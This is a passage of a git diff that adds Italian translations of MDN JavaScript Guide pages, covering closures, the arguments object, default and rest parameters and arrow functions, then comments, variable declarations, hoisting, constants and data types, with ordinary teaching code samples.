+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">outside</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> x <span class="operator token">=</span> <span class="number token">10</span><span class="punctuation token">;</span>
+  <span class="keyword token">function</span> <span class="function token">inside</span><span class="punctuation token">(</span>x<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span> x<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> inside<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+result <span class="operator token">=</span> <span class="function token">outside</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// returns 20 instead of 10</span></code></pre>
+
+<p>Il conflitto tra nomi avviene con l'istruzione <code>return x</code> ed è tra il nome del parametro <code>x di inside</code> ed il nome della variabile x di <code>outside</code>. La catena di <em>scope</em> qui è {<code>inside</code>, <code>outside</code>, global object}. Quindi, la x di <code>inside ha la precedenza sulla x di</code> <code>outside</code>: il valore restituito, alla fine, sarà 20 ( la x di <code>inside </code>) e non 10 ( la x di  <code>outside </code>).</p>
+
+<h2 id="Closure">Closure</h2>
+
+<p>Le closure sono uno dei meccanismi più potenti di JavaScript. JavaScript permette l'annidamento di funzioni e riconosce alla funzione interna il pieno accesso a tutte le variabili e a tutte le funzioni definite nella funzione esterna ( e a tutte le altre variabili e funzioni cui la funzione esterna ha accesso ). Tuttavia, la funzione esterna non ha accesso alle variabili ed alle funzioni definite nella funzione interna. Questo offre una certa protezione alle variabili della funzione interna. Inoltre, dal momento in cui la funzione interna ha accesso allo <em>scope</em> della funzione esterna, le variabili e le funzioni definite nella funzione esterna sopravviveranno alla funzione esterna stessa, se la funzione interna fa in modo di sopravvivere alla funzione esterna. Una closure viene creata quando la funzione interna viene resa disponibile in qualche modo agli <em>scope</em> esterni alla funzione esterna.</p>
+
+<pre class="brush: js">var pet = function(name) {   // La funzione esterna definisce una variabile di nome "name"
+  var getName = function() {
+    return name;             // La funzione interna ha accesso alla variabile "name" della funzione esterna
+  }
+  return getName;            // restituisce la funzione interna, esponendola, quindi, a <em>scope</em> esterni
+},
+myPet = pet("Vivie");
+
+myPet();                     // restituisce "Vivie"
+</pre>
+
+<p>Può essere molto più complicato del codice scritto sopra. Può essere restituito un oggetto contenente metodi per manipolare le variabili interne della funzione esterna.</p>
+
+<pre class="brush: js">var createPet = function(name) {
+  var sex;
+
+  return {
+    setName: function(newName) {
+      name = newName;
+    },
+
+    getName: function() {
+      return name;
+    },
+
+    getSex: function() {
+      return sex;
+    },
+
+    setSex: function(newSex) {
+      if(typeof newSex == "string" &amp;&amp; (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
+        sex = newSex;
+      }
+    }
+  }
+}
+
+var pet = createPet("Vivie");
+pet.getName();                  // Vivie
+
+pet.setName("Oliver");
+pet.setSex("male");
+pet.getSex();                   // male
+pet.getName();                  // Oliver
+</pre>
+
+<p>Nel codice sopra, la variabile <code>name</code> della funzione esterna è accessibile alle funzioni interne e non c'è modo di accedere alle variabili interne, se non attraverso le funzioni interne. Le variabili interne della funzione interna agiscono come magazzino sicuro per le funzioni interne. Esse conservano i dati "persistenti" e sicuri che le funzioni interne utilizzano. Le funzioni non hanno nemmeno bisogno di vedersi assegnare ad una variabile o di avere un nome.</p>
+
+<pre class="brush: js">var getCode = (function(){
+  var secureCode = "0]Eal(eh&amp;2";    // A code we do not want outsiders to be able to modify...
+
+  return function () {
+    return secureCode;
+  };
+})();
+
+getCode();    // Returns the secureCode
+</pre>
+
+<p>Ci sono, tuttavia, alcuni pericoli dai quali guardarsi, quando si utilizzano le closure. Se una funzione chiusa definisce una variabile che ha lo stesso nome di una variabile definita nello <em>scope</em> esterno, non sarà più possibile riferirsi alla variabile esterna.</p>
+
+<pre class="brush: js">var createPet = function(name) {  // Outer function defines a variable called "name"
+  return {
+    setName: function(name) {    // Enclosed function also defines a variable called "name"
+      name = name;               // ??? How do we access the "name" defined by the outer function ???
+    }
+  }
+}
+</pre>
+
+<p>È davvero  complicato usare la variabile magica <code>this</code> nelle closure. La variabile <code>this</code> è da usarsi con cautela, poichè ciò a cui <code>this</code> si riferisce dipende esclusivamente da dove è stata invocata la funzione, piuttosto che da dove è stata definita.</p>
+
+<h2 id="Usare_l'oggetto_arguments">Usare l'oggetto arguments</h2>
+
+<p>Gli argomenti di una funzione vengono memorizzati in un oggetto, strutturato come un array. All'interno di una funzione, è possibile riferirsi agli argomenti passati alla funzione stessa nel modo seguente:</p>
+
+<pre class="brush: js">arguments[i]
+</pre>
+
+<p>dove <code>i</code> è il numero ordinale dell'argomento, a partire da zero. Così, il primo argomento passato ad una funzione sarà <code>arguments[0]</code>. Il numero totale degli argomenti è dato da <code>arguments.length</code>.</p>
+
+<p>Usando l'oggetto <code>arguments</code>, è possibile chiamare una funzione con più argomenti di quanti ne possa formalmente accettare. Questo è spesso utile se non si sa in anticipo quanti argomenti verranno passati alla funzione. Si può usare l'attributo  <code>arguments.length</code> per determinare il numero degli argomenti realmente passati alla funzione, per poi accedere a ciascuno di essi usando l'oggetto <code>arguments</code>.</p>
+
+<p>Prendiamo, per esempio, una funzione che unisca più stringhe. Il solo argomento formale previsto per la funzione è una stringa che specifica i caratteri da usare per separare le singole voci. La funzione viene definita così:</p>
+
+<pre class="brush: js">function myConcat(separator) {
+   var result = "", // initialize list
+       i;
+   // iterate through arguments
+   for (i = 1; i &lt; arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}
+</pre>
+
+<p>È possibile passare una quantità qualsiasi di argomenti alla funzione e la funzione comporrà una stringa testuale contenente tutti gli argomenti passati:</p>
+
+<pre class="brush: js">// returns "red, orange, blue, "
+myConcat(", ", "red", "orange", "blue");
+
+// returns "elephant; giraffe; lion; cheetah; "
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// returns "sage. basil. oregano. pepper. parsley. "
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> La variabile <code>arguments</code> è simile ad un array (  "array-like" ), ma non è un array. È simile ad un array poichè ha un indice numerato ed una proprietà <code>length</code>. Tuttavia, non possiede tutti i metodi di manipolazione degli array.</p>
+</div>
+
+<p>Vedi l'oggetto <a class="new" href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Function" title="The documentation about this has not yet been written; please consider contributing!"><code>Function</code></a> nella JavaScript reference, per avere maggiori informazioni.</p>
+
+<h2 id="I_parametri_di_una_funzione">I parametri di una funzione</h2>
+
+<p>A partire da ECMAScript 6, esistono due nuovi tipi di parametri: i parametri di <em>default</em> e i parametri <em>rest</em>.</p>
+
+<h3 id="I_parametri_di_default">I parametri di default</h3>
+
+<p>In JavaScript, i parametri di una funzione hanno come valore di default <code>undefined</code>. Tuttavia, in alcune situazioni potrebbe essere utile impostare un diverso valore di default. In questo, possono aiutare i parametri di default.</p>
+
+<p>In passato, la strategia comune per impostare i valori di default era quella di verificare i valori dei parametri, all'interno del corpo della funzione, ed assegnare loro un valore, nel caso fossero stati <code>undefined</code>. Se nell'esempio seguente non venisse passato, durante la chiamata, alcun valore per <code>b</code>, il suo valore sarebbe <code>undefined</code>, anche quando venisse valutata l'istruzione <code>a*b</code>, e la chiamata a <code>multiply</code> restituirebbe <code>NaN ( Not a Number )</code>. Tuttavia, questo valore viene definito nella seconda riga:</p>
+
+<pre class="brush: js">function multiply(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a*b;
+}
+
+multiply(5); // 5
+</pre>
+
+<p>Con i parametri di deafult, la verifica all'interno del corpo della funzione non è più necessaria. Ora, è possibile mettere <code>1</code> come valore di default per <code>b</code> nella dichiarazione della funzione:</p>
+
+<pre class="brush: js">function multiply(a, b = 1) {
+  return a*b;
+}
+
+multiply(5); // 5</pre>
+
+<p>Per maggiori dettagli, vedi <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">paremetri di default</a> nella Javascript reference.</p>
+
+<h3 id="I_parametri_Rest">I parametri Rest</h3>
+
+<p>La sintassi dei <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameter</a> permette di rappresentare un indefinito numero di argomenti come un array. Nell'esempio, usiamo i parametri <em>rest</em> per rappresentare l'insieme degli argomenti composto dagli argomenti successivi al primo ( a partire dal secondo argomento fino alla fine ). Poi, moltiplichiamo ciascun argomento dell'insieme per il primo. Questo esempio utilizza una funzione a freccia, che verrà introdotta nella prossima sezione.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(x =&gt; multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<h2 id="Le_funzioni_a_freccia">Le funzioni a freccia</h2>
+
+<p>Una <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">espressione di funzione a freccia</a> ( nota anche come <strong>fat arrow function </strong>) ha una sintassi più stringata rispetto alle espressioni di funzione e forza, lessicalmente, il valore di <code>this</code>. Le funzioni a freccia sono sempre anonime. Vedi anche il post di hacks.mozilla.org: "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>".</p>
+
+<p>Sono due i fattori che influenzarono l'introduzione delle funzioni a freccia: la brevità delle funzioni ed il <code>this</code> lessicale.</p>
+
+<h3 id="Funzioni_più_brevi">Funzioni più brevi</h3>
+
+<p>In alcuni modelli funzionali, funzioni più brevi sono le benvenute. Paragoniamo le due istruzioni seguenti:</p>
+
+<pre class="brush: js">var a = [
+  "Hydrogen",
+  "Helium",
+  "Lithium",
+  "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+var a3 = a.map( s =&gt; s.length );</pre>
+
+<h3 id="Il_this_lessicale">Il <code>this lessicale</code></h3>
+
+<p>Until arrow functions, every new function defined its own <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> value (a new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.</p>
+
+<pre class="brush: js">function Person() {
+  // The Person() constructor defines `<code>this`</code> as itself.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // In nonstrict mode, the growUp() function defines `this`
+    // as the global object, which is different from the `this`
+    // defined by the Person() constructor.
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>In ECMAScript 3/5, this issue was fixed by assigning the value in <code>this</code> to a variable that could be closed over.</p>
+
+<pre class="brush: js">function Person() {
+  var self = this; // Some choose `that` instead of `self`.
+                   // Choose one and be consistent.
+  self.age = 0;
+
+  setInterval(function growUp() {
+    // The callback refers to the `self` variable of which
+    // the value is the expected object.
+    self.age++;
+  }, 1000);
+}</pre>
+
+<p>Alternatively, a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bound function</a> could be created so that the proper <code>this</code> value would be passed to the <code>growUp()</code> function.</p>
+
+<p>Arrow functions capture the <code>this</code> value of the enclosing context, so the following code works as expected.</p>
+
+<pre class="brush: js">function Person(){
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // |this| properly refers to the person object
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h2 id="Predefined_functions">Predefined functions</h2>
+
+<p>JavaScript has several top-level, built-in functions:</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt>
+ <dd>
+ <p>The <code><strong>eval()</strong></code> method evaluates JavaScript code represented as a string.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>The <code><strong>uneval()</strong></code> method creates a string representation of the source code of an {{jsxref("Object")}}.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt>
+ <dd>
+ <p>The global <code><strong>isFinite()</strong></code> function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt>
+ <dd>
+ <p>The <code><strong>isNaN()</strong></code> function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the <code>isNaN</code> function has <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">interesting</a> rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> to determine if the value is Not-A-Number.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt>
+ <dd>
+ <p>The <code><strong>parseFloat()</strong></code> function parses a string argument and returns a floating point number.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt>
+ <dd>
+ <p>The <code><strong>parseInt()</strong></code> function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt>
+ <dd>
+ <p>The <code><strong>decodeURI()</strong></code> function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt>
+ <dd>
+ <p>The <code><strong>decodeURIComponent()</strong></code> method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt>
+ <dd>
+ <p>The <code><strong>encodeURI()</strong></code> method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt>
+ <dd>
+ <p>The <code><strong>encodeURIComponent()</strong></code> method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>The deprecated <code><strong>escape()</strong></code> method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>The deprecated <code><strong>unescape()</strong></code> method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because <code>unescape()</code> is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.</p>
+ </dd>
+</dl>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
diff --git a/files/it/web/javascript/guida/grammar_and_types/index.html b/files/it/web/javascript/guida/grammar_and_types/index.html
new file mode 100644
index 0000000000..2a43d5230d
--- /dev/null
+++ b/files/it/web/javascript/guida/grammar_and_types/index.html
@@ -0,0 +1,659 @@
+---
+title: Grammatica e tipi
+slug: Web/JavaScript/Guida/Grammar_and_types
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
+
+<p class="summary">Questo capitolo tratta la sintassi di base di JavaScript, le dichiarazioni di variabili, i tipi di dati e i letterali.</p>
+
+<h2 id="Nozioni_di_base">Nozioni di base</h2>
+
+<p>JavaScript mutua molta della sua sintassi da Java, ma è anche influenzato da Awk, Perl e Python.</p>
+
+<p>JavaScript è sensibile al maiuscolo-minuscolo (<strong>case-sensitive</strong>) e usa l'insieme di caratteri <strong>Unicode</strong>.</p>
+
+<p>In JavaScript, le istruzioni sono separate da punto e vigola (;). Spazi, tabulazioni e caratteri di a capo sono chiamati spazi bianchi. Il testo sorgente di uno script JavaScript viene analizzato da sinistra verso destra ed è convertito in una sequenza di elementi di input che sono: token, caratteri di controllo, terminatori di linea, commenti o spazi bianchi. ECMAScript definisce anche determinate parole chiave e letterali e ha delle regole per l'inserimento automatico dei punti e virgola (<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">ASI</a>) per chiudere le istruzioni. Tuttavia si raccomanda di aggiungere sempre un punto e virgola per terminare ogni istruzione, questo eviterà effetti collaterali. Per maggiori informazioni si veda il riferimento dettagliato riguardo la <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">lexical grammar</a> di JavaScript.</p>
+
+<h2 id="Commenti">Commenti</h2>
+
+<p>La sintassi dei <strong>commenti</strong> è la stessa di quelli del C++ e di molti altri linguaggi:</p>
+
+<pre class="brush: js">// una linea di commento
+
+/* questo è un commento più lungo,
+   occupa più linee
+ */
+
+/* Però non puoi /* annidare i commenti */ SyntaxError */</pre>
+
+<h2 id="Dichiarazioni">Dichiarazioni</h2>
+
+<p>Ci sono tre tipi di dichiarazioni in JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>Dichiarazione di una variabile, opzionalmente inizializzata ad un valore.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt>
+ <dd>Dichiarazione di una variabile locale con visibilità nel blocco, opzionalmente inizializzata ad un valore.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt>
+ <dd>Dichiarazione di una costante in sola lettura con un nome.</dd>
+</dl>
+
+<h3 id="Variabili">Variabili</h3>
+
+<p>Le variabili sono nomi simbolici da usare nelle applicazioni in luogo dei valori che rappresentano. I nomi delle variabili, chiamati  {{Glossary("Identifier", "identificatori")}}, devono seguire certe regole di scrittura.</p>
+
+<p>Un identificatore JavaScript deve iniziare con una lettera, un trattino basso (_) o segno del dollaro ($), mentre i caratteri successivi possono anche essere le cifre (0-9). Siccome JavaScript è case-sensitive, le lettere includono i caratteri da "A" fino a "Z" (maiuscoli) e i caratteri da "a" fino a "z" (minuscoli).</p>
+
+<p>Si possono usare anche le lettere ISO 8859-1 o Unicode come per esempio å e ü negli identificatori. Possono essere usate anche le <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">sequenze di escape di Unicode</a> come caratteri negli identificatori.</p>
+
+<p>Alcuni esempi di nomi leciti sono <code>Number_hits</code>, <code>temp99</code> e <code>_name</code>.</p>
+
+<h3 id="Dichiarazione_di_variabili">Dichiarazione di variabili</h3>
+
+<p>Una variabile può essere dichiarata in tre modi:</p>
+
+<ul>
+ <li>Con la parola chiave {{jsxref("Statements/var", "var")}}, per esempio, <code>var x = 42</code>. Questa sintassi può essere usata per dichiarare sia variabili locali che globali.</li>
+ <li>Semplicemente assegnandole un valore. Per esempio, <code>x = 42</code>. questo dichiara sempre una variabile globale. Genera uno warning nella modalità strict di JavaScript. Questa variante non dovrebbe essere usata.</li>
+ <li>Con la parola chiave {{jsxref("Statements/let", "let")}}, ad esempio, <code>let y = 13</code>. Questa sintassi può essere usata per dichiarare una variabile locale visibile in un blocco. Vedi <a href="#Variable_scope">Visibilità delle variabili</a> più in basso.</li>
+</ul>
+
+<h3 id="Valutazione_delle_variabili">Valutazione delle variabili</h3>
+
+<p>Una variabile dichiarata usando le istruzioni  <code>var</code> o <code>let</code> senza nessun valore iniziale specificato ha il valore {{jsxref("undefined")}}.</p>
+
+<p>Il tentativo di accedere ad una variabile non dichiarata o di accedere ad un identificatore dichiarato con l'istruzione <code>let,</code> prima di una sua inizializzazione, provocherà un'eccezione di {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js">var a;
+console.log("Il valore di a è " + a); // Scrive nel log "Il valore di a è undefined"
+
+console.log("Il valore di b è " + b); // Solleva una eccezione ReferenceError
+
+<code>console.log("Il valore di c è " + c); // </code>Scrive nel log "<code>Il valore di c è undefined" </code>
+<code>var c;
+
+console.log("Il valore di x è " + x); // </code>Solleva una eccezione<code> ReferenceError: x is not defined
+let x;</code></pre>
+
+<p>Si può usare <code>undefined</code> per determinare se una variabile ha un valore oppure no. Nel codice seguente alla variabile <code>input</code> non è stato assegnato un valore e la condizione dell'istruzione <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else" title="en-US/docs/JavaScript/Reference/Statements/if...else">if</a></code> è</p>
+
+<p>valuta a <code>true</code>.</p>
+
+<pre class="brush: js">var input;
+if(input === undefined){
+  faiQuesto();
+} else {
+  faiQuello();
+}
+</pre>
+
+<p>Il valore <code>undefined</code> si comporta come <code>false</code> quando viene usato in un contesto booleano. Ad esempio il codice seguente esegue la funzione <code>miaFunzione</code> perché l'elemento di <code>mioArray</code> non è definito:</p>
+
+<pre class="brush: js">var mioArray = [];
+if (!mioArray[0]) miaFunzione();
+</pre>
+
+<p>Il valore <code>undefined</code> viene convertito in <code>NaN</code> quando viene usato in un contesto numerico.</p>
+
+<pre class="brush: js">var a;
+a + 2;  // Viene valutato a NaN</pre>
+
+<p>Quando viene valutata una variabile {{jsxref("null")}}, il valore null si comporta come 0 in un contesto numerico e <code>false </code>in un contesto booleano. Per esempio:</p>
+
+<pre class="brush: js">var n = null;
+console.log(n * 32); // Visualizzera nella console 0
+</pre>
+
+<h3 id="Visibilità_delle_variabili">Visibilità delle variabili</h3>
+
+<p>Quando una variabile viene dichiarata fuori da una qualsiasi funzione viene chiamata variabile <em>globale</em>, poiché è disponibile  in tutto il codice nel documento corrente. Quando invece la variabile viene dichiarata in una funzione viene chiamata variabile <em>locale</em>, perché è disponibile soltanto all'interno di quella funzione.</p>
+
+<p>JavaScript prima di ECMAScript 2015 non aveva una visibilità a <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement" title="en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement">livello di blocco</a>; piuttosto una variabile dichiarata all'interno di un blocco era locale alla <em>funzione (o al contesto globale)</em> in cui il blocco risiedeva. Per esempio il seguente codice scriverà nel log 5, perché la visibilità di <code>x</code> è la funzione (o il contesto globale) all'interno del quale <code>x</code> viene dichiarata e non il blocco, che in questo caso è l'istruzione <code>if</code>.</p>
+
+<pre class="brush: js">if (true) {
+  var x = 5;
+}
+console.log(x);  // 5
+</pre>
+
+<p>Il comportamento cambia quando si usa l'istruzione <code>let</code> introdotta in ECMAScript 2015.</p>
+
+<pre class="brush: js">if (true) {
+  let y = 5;
+}
+console.log(y);  // ReferenceError: y non è definita
+</pre>
+
+<h3 id="Sollevamento_delle_variabili">Sollevamento delle variabili</h3>
+
+<p>Un'altra cosa inusuale riguardo le variabili in JavaScript è che si può fare riferimento ad una variabile dichiarata più avanti nello script senza causare una eccezione. Questo concetto è conosciuto come innalzamento (<strong>hoisting</strong>); le variabili in JavaScript sono in un certo senso "sollevate" o spostate all'inizio della definizione del corpo della funzione o dell'istruzione. Tuttavia le variabili che sono state sollevate ritornano il valore <code>undefined</code>. Dunque se viene usata (o si fa riferimento ad) una variabile prima che venga dichiarata questa ritornà <code>undefined</code>.</p>
+
+<pre class="brush: js">/**
+ * Esempio 1
+ */
+console.log(x === undefined); // visualizza "true" nel log
+var x = 3;
+
+/**
+ * Esempio 2
+ */
+var myvar = "mio valore";
+
+(function() {
+  console.log(myvar); // visualizza "undefined" nel log
+  var myvar = "valore locale";
+})();
+</pre>
+
+<p>L'esempio sopra sarà interpretato nello stesso modo di:</p>
+
+<pre class="brush: js">/**
+ * Esempio 1
+ */
+var x;
+console.log(x === undefined); // visualizza nel log "true"
+x = 3;
+
+/**
+ * Esempio 2
+ */
+var myvar = "mio valore";
+
+(function() {
+  var myvar;
+  console.log(myvar); // undefined
+  myvar = "valore locale";
+})();
+</pre>
+
+<p>Per via dell'innalzamento, tutte le istruzioni <code>var</code> in una funzione dovrebbero essere posizionate prima di ogni altra istruzione che vada a definire una funzione. Questa buona pratica incrementa la chiarezza del codice.</p>
+
+<p>In ECMAScript 2015, <code>let (const)</code> <strong>non solleverà/sposterà</strong> la variabile all'inizio della dichiarazione del blocco, dunque un riferimento alla variabile nel blocco prima che questa venga dichiarata risulterà in un'eccezione di {{jsxref("ReferenceError")}}. La variabile si dice in una "zona temporale morta" ("temporal dead zone") dall'inizio del blocco fino alla a che non si incontri la sua dichiarazione.</p>
+
+<pre><code>console.log(x); // Solleverà un'eccezione ReferenceError
+let x = 3</code></pre>
+
+<h3 id="Sollevamento_delle_Funzioni">Sollevamento delle Funzioni</h3>
+
+<p>Nel caso delle funzioni, solo la dichiarazione della funzione verrà spostata all'inizio. Se la funzione viene introdotta da un'espressione, in questo caso non verrà spostata.</p>
+
+<pre><code>/* Function declaration */
+
+foo(); // "bar"
+
+function foo() {
+  console.log("bar");
+}
+
+
+/* Function expression */
+
+baz(); // TypeError: baz is not a function
+
+var baz = function() {
+  console.log("bar2");
+};</code></pre>
+
+<h3 id="Variabli_globali">Variabli globali</h3>
+
+<p>Le variabili globali sono in effetti proprietà dell'<em>oggetto globale</em>. Nelle pagine web l'oggetto globale è {{domxref("window")}} quindi è possibile impostare e accedere alle variabili globali usando la sintassi <code>window.<em>variabile</em></code>.</p>
+
+<p>Di conseguenza è possibile accedere a variabili globali dichiarate in una finestra o un frame da un'altra finestra o frame specificando il nome della finestra o del frame. Per esempio, se una variabile chiamata <code>numeroDiTelefono</code> è dichiarata in un documento, è possibile far riferimento a questa variabile dall'interno di un iframe come <code>parent.numeroDiTelefono</code>.</p>
+
+<h3 id="Costanti">Costanti</h3>
+
+<p>È possibile creare una costante in sola lettura dandole un nome usando la parola chiave {{jsxref("Statements/const", "const")}}. La sintassi di un identificatore di costante è la stessa di un identificatore di variabile: deve iniziare con una lettera, trattino basso (_) o segno del dollaro ($) e può contenere caratteri alfabetici, numerici o trattini bassi.</p>
+
+<pre class="brush: js">const PI = 3.14;
+</pre>
+
+<p>Una costante non può cambiare il suo valore attraverso ulteriori assegnazioni o essere ridichiarata mentre lo script è in esecuzione. Deve anche essere inizializzata ad un valore.</p>
+
+<p>Le regole di visibilità per le costanti sono le stesse di quelle per le variabil con visibilità al livello di blocco dichiarate con l'istruzione <code>let</code>. Se la parola chiave <code>const</code> viene omessa si assume che l'identificatore rappresenta una variabile.</p>
+
+<p>Non è possibile dichiarare una costante con lo stesso nome di una funzione o di una variabile nello stesso spazio di visibilità. Per esempio:</p>
+
+<pre class="brush: js">// QUESTO CAUSERÀ UN ERRORE
+function f() {};
+const f = 5;
+
+// ANCHE QUESTO CAUSERÀ UN ERRORE
+function f() {
+  const g = 5;
+  var g;
+
+  //istruzioni
+}
+</pre>
+
+<h2 id="Strutture_dati_e_tipi">Strutture dati e tipi</h2>
+
+<h3 id="Tipi_di_dato">Tipi di dato</h3>
+
+<p>L'ultimo standard ECMAScript definisce sette tipi di dati:</p>
+
+<ul>
+ <li>Sei tipi di dato che sono {{Glossary("Primitive", "primitives")}}:
+  <ul>
+   <li>{{Glossary("Boolean")}}. <code>true</code> e <code>false</code>.</li>
+   <li>{{Glossary("null")}}. Una parola chiave che denota un valore nullo. Siccome JavaScript è case-sensitive, <code>null</code> non è lo stesso di <code>Null</code>, <code>NULL</code>, o qualsiasi altra variante.</li>
+   <li>{{Glossary("undefined")}}. Una proprietà top-level il cui valore non è stato definito.</li>
+   <li>{{Glossary("Number")}}. <code>42</code> oppure <code>3.14159</code>.</li>
+   <li>{{Glossary("String")}}. "Salve"</li>
+   <li>{{Glossary("Symbol")}} (nuovo in ECMAScript 2015). Un tipo di dato la cui istanza è unica e immutabile.</li>
+  </ul>
+ </li>
+ <li>e {{Glossary("Object")}}</li>
+</ul>
+
+<p>Sebbene questi tipi di dati siano relativamente pochi questi permettono di eseguire funzioni utili nelle applicazioni. {{jsxref("Object", "Objects")}} e {{jsxref("Function", "functions")}} sono altri elementi fondamentali nel linguaggio. Si può pensatre agli oggetti come a contenitori con un nome per dei valori e alle funzioni come a procedure che l'applicazione può compiere.</p>
+
+<h3 id="Conversione_dei_tipi_dei_dati">Conversione dei tipi dei dati</h3>
+
+<p>JavaScript è un linguaggio con tipi assegnati dinamicamente. Questo significa che non si va a specificare il tipo di dato che una variabile conterrà quando viene dichiarata e anche che il tipo di un dato viene convertito automaticamente a seconda delle necessità durante l'esecuzione dello script. Così, per esempio, si può definire una variabile come segue:</p>
+
+<pre class="brush: js">var risposta = 42;
+</pre>
+
+<p>E più avanti è possibile assegnare alla stessa variabile un valore testo (stringa), per esempio:</p>
+
+<pre class="brush: js">risposta = "Grazie per tutti i pesci...";
+</pre>
+
+<p>Poiché in JavaScript i tipi si assegnano dinamicamente questa assegnazione non causerà un messaggio di errore.</p>
+
+<p>Nelle espressioni che coinvolgono valori numerici e stringhe con l'operatore + JavaScript converte i valori numerici in stringhe. Per esempio si considerino le seguenti istruzioni:</p>
+
+<pre class="brush: js">x = "La risposta è " + 42 // "La risposta è 42"
+y = 42 + " è la risposta" // "42 è la risposta"
+</pre>
+
